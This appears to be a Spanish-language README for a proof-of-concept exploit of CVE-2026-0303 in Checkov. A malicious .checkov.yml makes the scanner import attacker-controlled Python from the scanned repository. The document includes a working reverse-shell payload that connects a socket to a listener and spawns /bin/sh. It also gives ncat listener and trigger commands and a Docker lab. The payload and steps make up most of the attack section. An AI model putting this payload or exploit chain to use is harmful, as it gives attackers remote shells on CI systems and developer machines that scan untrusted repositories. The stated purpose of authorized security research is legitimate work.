
Checkov PoC: ejecución de código arbitrario mediante configuración autocargada y comprobaciones externas de Python sin firmar.
CVE: CVE-2026-0303 | CVSS Base: 6.3 | Severidad: Baja
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Vulnerabilidad de ejecución de código arbitrario en Checkov.
Publicado por Palo Alto Networks el 9 de septiembre de 2026.
Versiones afectadas: Checkov 3.2.0 hasta 3.2.531
Versión corregida: Checkov 3.2.532
Ejecución de código arbitrario en Checkov a través de un archivo .checkov.yml
cargado automáticamente -> ejecución de código Python controlado por el atacante
mediante una comprobación externa personalizada no firmada.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov admite comprobaciones externas en Python. Estas comprobaciones se cargan intencionalmente como módulos de Python, lo que significa que las sentencias Python de nivel superior se ejecutan durante la importación del módulo.
Cuando Checkov escanea un directorio, busca automáticamente en ese directorio un
archivo de configuración .checkov.yml o .checkov.yaml; un archivo de
configuración controlado por el atacante podría establecer external-checks-dir
a un directorio dentro del repositorio escaneado.
Esto crea la siguiente cadena de ejecución:
La víctima escanea un repositorio no confiable
->
Checkov carga automáticamente .checkov.yml
->
La configuración establece external-checks-dir
->
Checkov importa un módulo Python controlado por el atacante
->
El código Python de nivel superior se ejecuta con los privilegios de Checkov
El atacante no necesita explotar el analizador de Terraform ni proporcionar una política de Checkov válida. La ejecución de código ocurre cuando Checkov importa el archivo Python.
Esto es particularmente relevante para las canalizaciones de CI que ejecutan Checkov automáticamente contra pull requests u otro contenido no confiable del repositorio.
El payload del laboratorio se conecta desde el contenedor de Checkov a un listener en el host:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Modifique el payload en exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Inicie un listener en el host:
ncat -lvkp 4444
Dispare el comportamiento vulnerable escaneando el directorio controlado por el atacante:
checkov -d /workspace --framework terraform --skip-download
Checkov lee automáticamente /workspace/.checkov.yml, descubre el directorio de
comprobaciones externas e importa poc_check.py. El listener debería recibir la
shell cuando se ejecute la llamada a exploit() a nivel de módulo.
He proporcionado un laboratorio docker simple que puede configurar mediante
docker compose up -d
y conectarse a su shell mediante
docker exec -it scan-server /bin/sh
Este repositorio contiene una prueba de concepto independiente para CVE-2026-0303. La vulnerabilidad fue recreada y probada en un entorno de laboratorio aislado.
Este proyecto está destinado únicamente a la investigación de seguridad autorizada, la educación y las pruebas en entornos aislados. No lo utilice contra sistemas, redes, repositorios o datos sin la autorización explícita del propietario.
El autor proporciona este proyecto tal cual, sin garantías de ningún tipo, y no acepta ninguna responsabilidad por daños, pérdida de datos, interrupción del servicio, acceso no autorizado o uso indebido de este software o sus derivados.